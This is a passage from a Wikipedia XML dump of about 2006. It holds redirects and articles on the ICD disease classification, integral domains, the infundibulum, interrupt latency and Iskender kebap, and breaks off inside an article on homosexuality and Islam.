[[lt:Begalybė]]
[[jbo:ci'i]]
[[ja:無限]]
[[la:infinitas]]
[[nl:Oneindig]]
[[pl:Nieskończoność]]
[[pt:Infinito]]
[[ru:Бесконечность]]
[[simple:Infinity]]
[[sl:Neskončnost]]
[[sr:Бесконачност]]
[[fi:Äärettömyys]]
[[sv:Oändlighet]]
[[zh:无穷]]</text>
    </revision>
  </page>
  <page>
    <title>Indo-Germanic languages</title>
    <id>15456</id>
    <revision>
      <id>15912930</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Indo-European_languages]]
</text>
    </revision>
  </page>
  <page>
    <title>Indo-germanic languages</title>
    <id>15457</id>
    <revision>
      <id>15912931</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Indo-European_languages]]
</text>
    </revision>
  </page>
  <page>
    <title>Indo-germanic</title>
    <id>15458</id>
    <revision>
      <id>15912932</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Indo-European_languages]]
</text>
    </revision>
  </page>
  <page>
    <title>International Statistical Classification of Diseases and Related Health Problems</title>
    <id>15459</id>
    <revision>
      <id>39727862</id>
      <timestamp>2006-02-15T12:37:02Z</timestamp>
      <contributor>
        <ip>213.16.146.177</ip>
      </contributor>
      <comment>/* Look up codes */</comment>
      <text xml:space="preserve">The '''International Statistical Classification of Diseases and Related Health Problems''' (commonly known by the abbreviation '''ICD''') is a detailed description of known [[disease]]s and injuries. It is published by the [[World Health Organization]] and is used world-wide for [[morbidity]] and [[mortality]] statistics.

It is revised periodically and is currently in its tenth edition, known as the '''ICD-10'''.

Every disease (or group of related diseases) is described with its diagnosis and given a unique code, up to five letters long.

=International Classification of Diseases=
The International Classification of Diseases and Related Health Problems (commonly known by the abbreviation ICD) are designed to promote international comparability in the collection, processing, classification, and presentation of [[morbidity]] and [[mortality]] statistics. [http://www.who.int/classifications/icd/en/ ICD-9]. Commonly disputed by healthcare providers as billing code and not representative of true clinical outcomes, the ICD-9 transforms verbal descriptions of diseases, injuries, and procedures into numbers. The current ICD-9-CM has been revised to incorporate changes in the medical field. To date, there have been 10 versions of the ICD, with the ICD-10 developed in 1992 to track mortality statistics. The years for which causes of death in the United States have been classified by each revision as follows:

* ICD-1 - 1900 
* ICD-2 - 1910 
* ICD-3 - 1921 
* ICD-4 - 1930 
* ICD-5 - 1939 
* ICD-6 - 1949 
* ICD-7 - 1958 
* ICD-8A - 1968
* ICD-9 - 1979
* ICD-10 - 1992

==History==
The International Classification of Diseases (ICD) was designed to promote international comparability in the collection, processing, classification, and presentation of morbidity and mortality statistics. 

In 1893, a French physician, [[Jacques Bertillon]], introduced the [[Bertillon Classification]] of Causes of Death at the International Statistical Institute in Chicago. A number of countries adopted Dr. Bertillon’s system, and in 1898, the [[American Public Health Association]] (APHA) recommended that the registrars of Canada, Mexico, and the United States also adopt it. The APHA also recommended revising the system every ten years to ensure the system remained current with medical practice advances. As a result, the first international conference to revise the International Classification of Causes of Death convened in 1900; with revisions occurring every ten years thereafter. At that time the classification system was contained in one book, which included an Alphabetic Index as well as a Tabular List. The book was small compared with current coding texts.

The revisions that followed contained minor changes, until the sixth revision of the classification system. With the sixth revision, the classification system expanded to two volumes. The sixth revision included morbidity and mortality conditions, and its title was modified to reflect the changes: ''Manual of International Statistical Classification of Diseases, Injuries and Causes of Death (ICD)''. Prior to the sixth revision, responsibility for ICD revisions fell to the Mixed Commission, a group composed of representatives from the International Statistical Institute and the Health Organization of the League of Nations. In 1948, the [[World Health Organization]] (WHO) assumed responsibility for preparing and publishing the revisions to the ICD every ten years. WHO sponsored the seventh and eighth revisions in 1957 and 1968, respectively.

In 1959, the [[U.S. Public Health Service]] published The International Classification of Diseases, Adapted for Indexing of Hospital Records and Operation Classification (ICDA). It was completed in 1962 and a revision of this adaptation – considered to be the seventh revision of ICD – expanded a number of areas to more completely meet the indexing needs of hospitals. The U.S. Public Health Service later published the Eighth Revision, International Classification of Diseases, Adapted for Use in the United States.  Commonly referred to as ICDA-8, this classification system fulfilled its purpose to code diagnostic and operative procedural data for official morbidity and mortality statistics in the United States.

WHO published the ninth revision of ICD (ICD-9) in 1978. The U.S. Public Health Service modified ICD-9 to meet the needs of American hospitals and called it International Classification of Diseases, Ninth Revision, Clinical Modification (ICD-9-CM) [http://www.cms.hhs.gov/paymentsystems/icd9/ ]. The ninth revision expanded the book to three volumes and introduced a fifth-digit sub-classification.

==Current Use==
ICD has become the most widely used statistical classification system in the world. Although some countries found ICD sufficient for hospital indexing purposes, many others felt that it did not provide adequate detail for diagnostic indexing. The original revisions of ICD also did not provide for classification of operative or diagnostic procedures. As a result, interested persons in the United States began to develop their own adaptation of ICD for use in the United States.

Hospitals and other healthcare facilities index healthcare data by referring and adhering to a classification system published by the U.S. Department of Health and Human Services: International Classification of Diseases, 9th Revision, Clinical Modification (ICD-9-CM). The Clinical Modification or CM system was developed and implemented in order to better describe the clinical picture of the patient. The CM codes are more precise than those needed only for statistical groupings and trend analysis. The diagnosis component of ICD-9-CM is completely consistent with ICD-9 codes.

Of note, [[ICD-10]] was adopted in 1999 for reporting mortality, but the ICD-9-CM remains the data standard for reporting morbidity. Revisions of the ICD-10 have progress to incorporate both clinical code (ICD-10-CM) and procedure code (ICD-10-PCS) with the revisions completed in 2003. However, ICD-9 has not been phased out by the new revision.

===Public Data Reporting===
Setting the data standard for healthcare providers for the world is a task undertaken in the last fifty years by the World Health Organization (WHO). As individuals become more involved in their personal healthcare, the data standard shared by most will be the International Classification of Diseases or ICD. These codes also have an active role in reporting of data from the Joint Commission on Accreditation of Healthcare Organizations [http://www.jcaho.org JCAHO] but also the current public data on hospitals released by the Centers for Medicare and Medicaid Services[http://www.cms.hhs.gov/quality/hospital/ CMS] in the United States

==ICD-9==
The ICD-9 was published by the WHO in 1977. At this time, the [[National Center for Health Statistics]] created an extension of it so the system could be used for [[morbidity]] as well as mortality ([http://www.instacode.com/news-icd10-demystified.htm]). This extension was called &quot;ICD-9-CM&quot;, with the CM standing for &quot;Clinical Modification&quot;.

There are three volumes of the ICD-9-CM: 
* [[List of ICD-9 codes|Volumes 1 and 2]] contain [[diagnosis codes]]. (Volume 1 is a tabular listing, and volume 2 is an index.) 
* [[ICD-9-CM Volume 3|Volume 3]] contains [[procedure codes]]. 

==ICD-10==
Work on ICD-10 began in [[1983]] and was completed in [[1992]]. (Also see the  [http://www3.who.int/icd/vol1htm2003/fr-icd.htm ICD-10 online].)
 
''Links to diseases can be accessed from: [[List of ICD-10 codes]].''

Adoption was relatively swift in most of the world, but not in the United States. Since 1988, the USA had required ICD-9-CM codes for [[Medicare]] and [[Medicaid]] claims, and most of the rest of the American medical industry followed suit. 

On January 1, 1999, the ICD-10 (without clinical extensions) was adopted for reporting [[mortality]], but ICD-9-CM was still used for [[morbidity]]. Meanwhile, NCHS received permission from the WHO to create a clinical modification of the ICD-10, and has produced drafts of the following two systems:

* ICD-10-CM, for [[diagnosis codes]], is intended to replace volumes 1 and 2. A draft was completed in 2003.
* [[ICD-10-PCS]], for [[procedure codes]], is intended to replace volume 3. A final draft was completed in 2000.

However, neither of these systems is currently in place. There is not yet an anticipated implementation date to phase out the use of ICD-9-CM. There will be a two year implementation window once the final notice to implement has been published in the [[Federal Register]]. [http://www.cdc.gov/nchs/about/otheract/icd9/abticd10.htm]. A detailed timeline is provided [http://www.ncvhs.hhs.gov/031105a2.htm here].

Other countries have created their own extensions to ICD-10. For example, [[Australia]] introduced their first edition of [http://www3.fhs.usyd.edu.au/ncchwww/site/4.1.1.htm# &quot;ICD-10-AM&quot;] in 1998, and [[Canada]] introduced [http://secure.cihi.ca/cihiweb/dispPage.jsp?cw_page=codingclass_icd10_e &quot;ICD-10-CA&quot;] in 2000.

==See also==
* [[Diagnostic and Statistical Manual of Mental Disorders]]
* [[diagnosis]]
* [[diagnosis-related group]]
* [[Medical classification]]

==External links==
===ICD9===
====Overview====
* [http://www.cdc.gov/nchs/icd9.htm ICD-9-CM homepage]

====Look up codes====
* [http://www.icd9coding.com/ Free 24/7 ICD-9-CM coding site using the Flash Code program], also supports [[Diagnosis-related group|DRG]]
* [http://neuro3.stanford.edu/CodeWorrier/FMPro?-db=CodeWorrier&amp;-lay=Detail&amp;-format=search.htm&amp;-view Stanford database]
* [http://icd9cm.chrisendres.com/index.php Searchable Chrisendres database]
* [http://www.dmi.columbia.edu/hripcsak/icd9/ Columbia]
* [http://www.centralx.com/diseases/icdindex.htm CentralX]
* [http://www.aafp.org/x20096.xml ICD-9 Coding Tools From Family Practice Management]

===ICD10===
====Overview====
* [http://www.who.int/whosis/icd10/ ICD-10 homepage]
* [http://www.cdc.gov/nchs/about/otheract/icd9/icd10cm.htm ICD-10-CM draft]
* [http://www.cdc.gov/nchs/about/otheract/icd9/abticd10.htm ICD-10-CM]

====Look up codes====
* [http://www3.who.int/icd/vol1htm2003/fr-icd.htm?ge00.htm+ Lookup site] from [[World Health Organization]]
* [http://www.schs.state.nc.us/SCHS/data/icd10/checkdisease.cfm Lookup site -- North Carolina]
* [http://www.avon.nhs.uk/phnet/Methods/sure_start.htm List of codes]
* [http://www.medicalize.com/wrapper/ ICD-10 Code Search]

===Conversion between ICD-9-CM-A and ICD-10-AM===
* [http://www.nzhis.govt.nz/documentation/mapping/mappingfiles.html Excel spreadsheets with ICD-10-AM to ICD-9-CM-A and vice versa]

[[Category:Medical manuals]]
[[Category:Mental illness diagnosis by DSM and ISCDRHP]]
[[Category:Diagnosis classification]]
[[Category:Medical informatics]]
[[Category:Classification systems]]

[[da:ICD]]
[[de:International Statistical Classification of Diseases and Related Health Problems]]
[[et:RHK-10]]
[[fr:Classification internationale des maladies]]
[[nl:International Statistical Classification of Diseases and Related Health Problems]]
[[ja:疾病及び関連保健問題の国際統計分類]]
[[no:International Statistical Classification of Diseases and Related Health Problems]]
[[pl:ICD-10]]
[[ru:Международная классификация болезней]]
[[fi:International Statistical Classification of Diseases and Related Health Problems]]
[[th:การจำแนกประเภทของโรคตามสถิติและปัญหาสาธารณสุขสัมพันธ์ระหว่างประเทศ]]
[[vi:Phân loại bệnh tật quốc tế]]
[[tr:Hastalıkların Uluslararası Sınıflaması]]</text>
    </revision>
  </page>
  <page>
    <title>ICD-10</title>
    <id>15460</id>
    <revision>
      <id>15912934</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[International Statistical Classification of Diseases and Related Health Problems]]
</text>
    </revision>
  </page>
  <page>
    <title>ICD-9</title>
    <id>15461</id>
    <revision>
      <id>15912935</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[International Statistical Classification of Diseases and Related Health Problems]]
</text>
    </revision>
  </page>
  <page>
    <title>Integral domain</title>
    <id>15462</id>
    <revision>
      <id>41338716</id>
      <timestamp>2006-02-26T18:18:18Z</timestamp>
      <contributor>
        <username>Ciphergoth</username>
        <id>9493</id>
      </contributor>
      <comment>page has been moved</comment>
      <text xml:space="preserve">In [[abstract algebra]], an '''integral domain''' is a [[commutative ring]] with an additive identity 0 and a multiplicative identity 1 such that 0 &amp;ne; 1, in which the product of any two non-zero elements is always non-zero; that is, there are no [[zero divisor]]s. Integral domains are generalizations of the [[integer]]s and provide a natural setting for studying divisibility.  An integral domain is a commutative [[domain (ring theory)|domain]].  

Alternatively and equivalently, integral domains may be defined as commutative rings in which the zero [[ideal (ring theory)|ideal]] {0} is [[prime ideal|prime]], or as the [[subring]]s of [[field (mathematics)|fields]].  Additionally, a commutative ring ''R'' is an integral domain if and only if for every element ''r'' of the ring, the ''R''-module map induced by multiplication by ''r'' is [[injective]].

Viewing the underlying commutative ring as a [[preadditive category]], the above criterion on zero divisors is equivalent to the condition that every nonzero [[morphism]] is a [[monomorphism]] (hence also an [[epimorphism]], by making use of the bilinear structure on the set of morphisms).

The condition 0 &amp;ne; 1 only serves to exclude the [[trivial ring]] {0} with a single element.

== Examples ==

The prototypical example is the ring '''Z''' of all integers.

Every [[field (mathematics) | field]] is an integral domain. Conversely, every [[artinian ring|Artinian]] integral domain is a field. In particular,
the only finite integral domains are the [[finite field]]s. 

Rings of [[polynomial]]s are integral domains if the coefficients come from an integral domain. For instance, the ring '''Z'''[X] of all polynomials in one variable with integer coefficients is an integral domain; so is the ring '''R'''[X,Y] of all polynomials in two variables with [[real number|real]] coefficients. 

The set of all [[real number]]s of the form ''a'' + ''b''&amp;radic;2 with ''a'' and ''b'' [[integer]]s is a subring of '''R''' and hence an integral domain. A similar example is given by the [[complex number]]s of the form ''a'' + ''bi'' with ''a'' and ''b'' integers (the ''[[Gaussian integer]]s'').

The [[p-adic number|p-adic integers]].

If ''U'' is a [[connectedness|connected]] [[open subset]] of the [[complex number|complex number plane]] '''C''', then the ring H(''U'') consisting of all [[holomorphic function|holomorphic functions]] ''f'' : ''U'' &lt;tt&gt;-&gt;&lt;/tt&gt; '''C''' is an integral domain. The same is true for rings of analytical functions on connected open subsets of analytical [[manifold|manifolds]].

If ''R'' is a commutative ring and ''P'' is an [[ideal (ring theory)|ideal]] in ''R'', then the [[factor ring]] ''R/P'' is an integral domain if and only if ''P'' is a [[prime ideal]].

== Divisibility, prime and irreducible elements ==

If ''a'' and ''b'' are elements of the integral domain ''R'', we say that ''a divides b'' or ''a is a [[divisor]] of b'' or ''b is a multiple of a'' if and only if there exists an element ''x'' in ''R'' such that ''ax'' = ''b''.

If ''a'' divides ''b'' and ''b'' divides ''c'', then ''a'' divides ''c''. If ''a'' divides ''b'', then ''a'' divides every multiple of ''b''. If ''a'' divides two elements, then ''a'' also divides their sum and difference.

The elements which divide 1 are called the ''units'' of ''R''; these are precisely the invertible elements in ''R''. Units divide all other elements.

If ''a'' divides ''b'' and ''b'' divides ''a'', then we say ''a'' and ''b'' are ''associated elements''. ''a'' and ''b'' are associated if and only if there exists a unit ''u'' such that ''au'' = ''b''.

If ''q'' is a non-unit, we say that ''q'' is an ''irreducible element'' if ''q'' cannot be written as a product of two non-units. 

If ''p'' is a non-zero non-unit, we say that ''p'' is a ''prime element'' if, whenever ''p'' divides a product ''ab'', then ''p'' divides ''a'' or ''b''.

This generalizes the ordinary definition of [[prime number]] in the ring '''Z''', except that it allows for negative prime elements. If ''p'' is a prime element, then the principal ideal (''p'') generated by ''p'' is a [[prime ideal]].
Every prime element is irreducible (here, for the first time, we need ''R'' to be an integral domain), but the converse is not true in all integral domains (it is true in [[unique factorization domain]]s, however).

== Field of fractions ==

If ''R'' is a given integral domain, the smallest field Quot(''R'') containing ''R'' as a subring is uniquely determined up to isomorphism and is called the ''[[field of fractions]]'' or ''quotient field'' of ''R''. It consists of all fractions ''a/b'' with ''a'' and ''b'' in ''R'' and ''b'' &amp;ne; 0, modulo an appropriate equivalence relation. The field of fractions of the integers is the field of [[rational number]]s. The field of fractions of a field is [[isomorphism|isomorphic]] to the field itself.

== Algebraic geometry ==

In [[algebraic geometry]], integral domains correspond to [[irreducible (mathematics)|irreducible]] [[algebraic variety|varieties]].  They have a unique [[generic point]], given by the zero ideal.  Integral domains are also characterized by the condition that they are [[reduced (ring theory)|reduced]] and irreducible.  The former condition ensures that the nilradical of the ring is zero, so that the intersection of all the ring's minimal primes is zero.  The latter condition is that the ring have only one minimal prime.  It follows that the unique minimal ideal of a reduced and irreducible ring is the zero ideal, hence such rings are integral domains.  The converse is clear: No integral domain can have nilpotent elements, and the zero ideal is the unique minimal ideal.

== Characteristic and homomorphisms ==

The [[characteristic (algebra)|characteristic]] of every integral domain is either zero or a [[prime number]].

If ''R'' is an integral domain with prime characteristic ''p'', then ''f''(''x'') = ''x''&lt;sup&gt;&amp;nbsp;''p''&lt;/sup&gt; defines an [[injective]] [[ring homomorphism]] ''f'' : ''R'' &amp;rarr; ''R'', the [[Frobenius automorphism]].

== See also ==
*[[Domain (ring theory)]]
* [[wikibooks:Abstract algebra:Integral domains|Integral domains]] - wikibook link

[[Category:Commutative algebra]]
[[Category:Ring theory]]

[[cs:Obor integrity]]
[[de:Integritätsring]]
[[et:Integriteetkond]]
[[es:Dominio de integridad]]
[[fr:Anneau intègre]]
[[it:Chiusura integrale]]
[[he:תחום שלמות]]
[[pl:Dziedzina całkowitości]]
[[ru:Область целостности]]</text>
    </revision>
  </page>
  <page>
    <title>Indus river</title>
    <id>15464</id>
    <revision>
      <id>15912938</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>moved to &quot;Indus_River&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Indus_River]]
</text>
    </revision>
  </page>
  <page>
    <title>Indo-European language</title>
    <id>15465</id>
    <revision>
      <id>15912939</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Indo-European languages]]
</text>
    </revision>
  </page>
  <page>
    <title>Infundibulum</title>
    <id>15466</id>
    <revision>
      <id>39901020</id>
      <timestamp>2006-02-16T18:10:29Z</timestamp>
      <contributor>
        <username>Drphilharmonic</username>
        <id>704902</id>
      </contributor>
      <comment>logic and grammar; if an object is physically SHAPED into the form of a funnel is &quot;funnel-SHAPED&quot;; however, if an object's state-of-being exhibits the SHAPE of a funnel, then it is &quot;funnel-SHAPE&quot;</comment>
      <text xml:space="preserve">An '''infundibulum''' (Latin for ''funnel''; plural, ''infundibula'') is a [[funnel]]-shape cavity or [[organ (anatomy)|organ]].

==[[Lungs]]==
The [[alveoli|alveolar]] sacs of the [[lung|lungs]] from which the air chambers (alveoli) open are called '''infundibula'''. 

==[[Heart]]==
The outflow portion of the [[right ventricle]] is also known as the '''infundibulum'''.

==[[Ovaries]]==
The end of the [[mammal|mammalian]] [[oviduct]] nearest to the [[ovary]] also bears the name '''infundibulum'''. 

==[[Brain]]==
A small outgrowth of the ventral wall of the [[embryo|embryonic]] [[brain]] from which the [[pars nervosa]] (the posterior lobe of the [[pituitary gland]]) develops is also called the '''infundibulum'''.

{{Prosencephalon}}

[[Category:head and neck]]
[[category:pelvis]]
[[category:thorax]]</text>
    </revision>
  </page>
  <page>
    <title>Interrupt latency</title>
    <id>15467</id>
    <revision>
      <id>39368537</id>
      <timestamp>2006-02-12T18:32:29Z</timestamp>
      <contributor>
        <username>Drrngrvy</username>
        <id>227740</id>
      </contributor>
      <minor />
      <comment>double 'interrupt' that I don't think should be there</comment>
      <text xml:space="preserve">{{seealso|Latency (engineering)}}

'''Interrupt latency''' is the time between the generation of an [[interrupt]] by a device and the servicing of the device which generated the interrupt. For many operating systems, devices are serviced as soon as the device's [[interrupt handler]] is executed. Interrupt latency may be effected by [[interrupt controller]]s, [[interrupt mask]]ing, and the [[operating system]]'s (OS) interrupt handling methods.

==Background==
There is usually a tradeoff between interrupt latency, [[throughput]], and processor utilization. Many of the techniques of [[microprocessor|CPU]] and [[operating system|OS]] design that improve interrupt latency will decrease throughput and increase processor utilization. Techniques that increase throughput may increase interrupt latency and increase processor utilization. Lastly, trying to reduce processor utilization may increase interrupt latency and decrease throughput.

Minimum interrupt latency is largely determined by the [[interrupt controller]] circuit and its configuration. They can also effect the [[jitter]] in the interrupt latency, which can drastically affect the [[Real-time computing|real-time]] [[scheduling|schedulability]] of the system. The [[Intel APIC Architecture]] is well known for producing a huge amount of interrupt latency jitter.

Maximum interrupt latency is largely determined by the methods an OS uses for interrupt handling. For example, most processors allow programs to disable interrupts, putting off the execution of interrupt handlers, in order to protect [[critical section]]s of code. During the execution of such a critical section, all interrupt handlers that cannot execute safely within a critical section are blocked (they save the minimum amount of information required to restart the interrupt handler after all critical sections have exited).  So the interrupt latency for a blocked interrupt is extended to the end of the critical section, plus any interrupts with equal and higher priority that arrived while the block was in place.

Many computer systems require low interrupt latencies, especially [[embedded system]]s that need to [[Control system|control]] machinery in real-time.  Sometimes these systems use a [[real-time operating system]] (RTOS). An RTOS makes the promise that no more than an agreed upon maximum amount of time will pass between executions of [[subroutine]]s. In order to do this, the RTOS must also guarantee that interrupt latency will never exceed a predefined maximum.

==Considerations==
There are many methods that hardware use to increase the interrupt latency that can be tolerated. These include buffers, and [[flow control]]. For example, most network cards implement transmit and receive [[ring buffer]]s, interrupt rate limiting, and hardware flow control. Buffers allow data to be stored until it can be transferred, and flow control ...

Modern hardware also implement interrupt rate limiting. This helps prevent [[interrupt storm]]s or ''live lock'' by having the hardware wait a programmable minimum amount of time between each interrupt it generates. Interrupt rate limiting reduces the amount of time spent servicing interrupts, allowing the processor to spend more time doing useful work. Execeding this time results in a soft (recoverable) or hard (non-recoverable) error.

== See also ==
* [[Advanced Programmable Interrupt Controller]]
* [[Programmable Interrupt Controller]]
* [[IEEE 802.3]] (802.3x PAUSE frames for flow control)
* [[Ethernet flow control]]
* [[Inter-Processor Interrupt]]
* [[Interrupt]]
* [[Interrupt Handler]]
* [[Non-Maskable Interrupt]]

[[Category:Interrupts|Latency]]</text>
    </revision>
  </page>
  <page>
    <title>Iskender kebap</title>
    <id>15468</id>
    <revision>
      <id>40723572</id>
      <timestamp>2006-02-22T16:02:19Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Bursa]] to [[Bursa, Turkey]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''&amp;#304;skender kebap''' is one of the most famous [[meat]] foods of northwestern [[Turkey]] and takes its name from its inventor, &amp;#304;skender Efendi, who lived in [[Bursa, Turkey|Bursa]] in the late [[19th century]].

It is a kind of ''[[döner kebap]]'' prepared from thinly cut grilled [[lamb]] basted with [[tomato sauce]] over pieces of [[pita]] bread and generously slathered with [[Butter|melted butter]] and [[yogurt]]. It is commonly consumed with [[şıra]] as a drink to aid digestion.

Unlike other traditional dishes of [[Turkish cuisine]], Iskender Kebap is a [[trademark]] of Iskender family, who still run the restaurant in Bursa. Still, this dish is available in many restaurants throughout the country sometimes under the name ''Bursa Kebab''.

==External links==

*[http://www.kebapciiskender.com/ Original &amp;#304;skender Restaurant] (in Turkish)

[[Category:Turkish cuisine]]
{{cuisine-stub}}

[[tr:İskender kebap]]</text>
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  </page>
  <page>
    <title>Homosexuality and Islam</title>
    <id>15471</id>
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      <contributor>
        <username>BrainyBabe</username>
        <id>124674</id>
      </contributor>
      <minor />
      <comment>/* See also */ add Baron Alli</comment>
      <text xml:space="preserve">{{RAH}}

:''For age-structured homosexuality, see [[Pederasty in the Islamic lands]]''

There is no concept analogous to &quot;[[homosexuality]]&quot; in [[Islam]], in the sense of an innate identity. Instead, same-sex sexual expression manifests in a number of separate forms, which are not treated alike, either socially or juridically.

Rather, Islam concerns itself with sexual behaviors, rather than desires or orientations. In particular Islam condemns [[anal intercourse]] - whether with males or females - as a major sin, while viewing all other same-sex behaviors between males as minor sins or even praiseworthy.

The traditional tolerance, literary and religious, for chaste [[pederasty|pederastic]] love affairs which had been prevalent since the 800's began to be eroded in the mid-1800's by the adoption of [[European]] [[Victorian]] attitudes by the new [[Westernized]] elite. (El-Rouayheb, 2005, p.156)

==Constructions and examples==

[[Image:Mahmud and Ayaz and Shah Abbas I.jpg|thumb|200px|right|'''[[Mahmud of Ghazna|Mahmud]] and [[Malik Ayaz|Ayaz]]'''&lt;br&gt;The love of the Sultan for his slave has entered Islamic legend as a paragon of ideal love.]]

The most common type of same-sex behavior is ''liwat,'' most commonly used for intercourse between a man and a boy, though it can refer to that between two men or between a man and a woman, being equally prohibited in all cases. The man is known as a ''luti'', which does not imply so much his nature as his role of penetrator. His partner, if paid, is ''murd mu'ajirin,'' if unpaid, ''amrad'' (beardless), or ''ghulam'' (youth, pl. ''ghilman)''.

A separate category exists for men who are &quot;afflicted&quot; with the desire to be penetrated by male partners. They are known as ''ma'bun'' and considered to be victims of a disease, ''ubnah,'' one with an etiology and a number of presumed remedies. Their status is thus very different from that of their male penetrative partners. 

Another further category consists of men who are vulnerable to the attractions of handsome boys. All men are thought to fall into this category, and their desires are seen as natural, if problematic in that they render one succeptible of becoming a ''luti.'' (El-Rouayheb, 2005, pp. 14-24)

For example, the [[Hanbalite]] jurist Ibn al-Jawzi (d. [[1200]]) is reputed to have said that &quot;He who claims that he experiences no desire when looking at beautiful boys or youths is a liar, and if we could believe him he would be an animal, and not a human being.&quot; (Monroe, 1997, p. 117)

Nevertheless, the act of ''liwat'' (&quot;sodomy,&quot; meaning anal intercourse) is proscribed, and men are advised to be even more wary of attraction to beautiful boys than to beautiful women, through religious injunctions exhorting them to resist this temptation. It is related that the Prophet [[Muhammad]] enjoined his followers to &quot;Beware of beardless youth for they are a greater source of mischief than young maidens.&quot;  

Likewise, the great [[imam]] and legal scholar [[Sufyan At-Thawri]] (d. [[783]] CE) is said to have fled the baths one day, asserting, regarding sexual temptation, that &quot;If every woman has one devil accompanying her, then a handsome lad has seventeen.&quot; At the same time, a [[hadith]] by Muhammed posits that chaste love grants one passage into paradise: &quot;He who loves and remains chaste and conceals his secret and dies, dies a martyr.&quot; As a result, love for youths in Islam, far from being the path to perdition the Christians made of it, was an understandable passion which, if kept in check, raised one up to the heavens. Male love became a punishable offense (in life) only if one consummated it - and was caught at it, which required witnesses of four men or eight women. If one was not caught at it, however, one would still be punished in the fires of hell. (Murray and Roscoe, 1997, ''passim)''

Historically the punishment has been less severe compared to its Abrahamic counterparts: Judaism and Christianity.  The [[Qur'an]] states that if a person commits the sin they can repent and save their life, though there are hadiths that later prescribe the death penalty.  Early Islamic cultures, especially ones where homosexuality was entrenched into their Pagan culture were renowned for their cultivation of a homosexual aesthetic. They reconciled their new religion using a [[hadith]] ascribed to [[Muhammad]] declaring male lovers who die chaste to be martyrs, “He who loves and remains chaste and conceals his secret and dies, dies a martyr”.  

The result is a religion that allows love between those of the same sex as long as they do not have sexual intercourse.  [[Ibn Hazm]], Ibn Daud, [[Al-Mu'tamid]], [[Abu Nuwas]], and many others  wrote extensively and openly of love between men.  However, in order for the transgression to be proven, at least four men or eight women must bear witness against the accused, thus making it very difficult to persecute those who did not remain celibate in the privacy of their homes.   

The intended meaning of &quot;same-sex intercourse&quot; is sexual intercourse between two or more males, or sexual intercourse between two or more females.  It does not mean the act of masturbation, nor does it have anything to do with nocturnal emissions, both of which are considered to invalidate [[wudu]] and require the Muslim to take a full bath or shower before his or her next prayer, but are not otherwise punishable under [[Sharia]].

== Homosexuality in the Sharia ==


[[Image:Turkish - Dancing Kocek - Late 19th c - wiki.jpg|thumb|200px|right|Dancing Köçek, a common object of masculine affections in the Ottoman empire. Photograph, late 19th c. Private collection.]]
{{SectNPOV}}
While there is a consensus that same-sex intercourse is in violation of [[Sharia|Islamic law]], there are differences of opinion within Islamic scholarship about punishment, reformation, and what standards of proof are required before physical punishment becomes lawful.

In Sunni Islam there are eight [[madhhab]]s, or legal schools, of which only four still exist: [[Hanafi]], [[Shafi'i]], [[Hanbali]], and [[Maliki]]. The main [[Shia]] school is called [[Ja'fari]], but there are [[Zaidi]] and [[Ismai'ili]] also.  More recently, some groups have rejected this tradition in favor of greater [[ijtihad]], or individual interpretation.  Of these schools, according to Michael Mumisa of the Birmingham-based Al Mahdi institute:

*The [[Hanafi]] school does not consider same-sex intercourse to constitute adultery, and therefore leaves punishment up to the judge's discretion. Most early scholars of this school specifically ruled out the death penalty; others allow it for a second offence.
*Imam [[Shafi'i]] considers same-sex intercourse as analogous to other [[zina]]. Thus, a married person found to have committed same-sex intercourse is punished as an adulterer (stoned to death), and an unmarried person is punished as a fornicator (flogged).
*The [[Maliki]] school says that anyone (married or unmarried) found to have committed same-sex intercourse should be punished as an adulterer.
*Within the [[Ja'fari]] schools, Sayyid al-Khoi says that anyone (married or unmarried) found to have committed same-sex intercourse should be punished as an adulterer.

It should also be noted that the punishment for adultery requires four witnesses. By analogy, all  schools require four witnesses to the act of same-sex intercourse for the punishment to be applied. But if objective proof can be provided (such as through DNA testing, photography, etc.), then punishment can be applied without four witnesses to the act.

According to the modern Islamic scholar [[Yusuf al-Qaradawi]]:

: &quot;The jurists of Islam have held different opinions concerning the punishment for this abominable practice.  Should it be the same as the punishment for ''zina'', or should both the active and passive participants be put to death? While such punishments may seem cruel, they have been suggested to maintain the purity of the Islamic society and to keep it clean of perverted elements.&quot; - ''The Lawful and the Prohibited in Islam'', p. 165.

== Homosexuality in modern Islamic countries' laws ==

Same-sex intercourse officially carries the death penalty in seven Islamic nations: [[Saudi Arabia]], [[Iran]], [[Mauritania]], [[Sudan]], [[Somalia]], [[Somaliland]], and [[Yemen]].[http://www.ilga.info/Information/Legal_survey/Summary%20information/death_penalty_for_homosexual_act.htm]    It formerly carried the death penalty in [[Afghanistan]] under the [[Taliban]], and in [[Iraq]] under a 
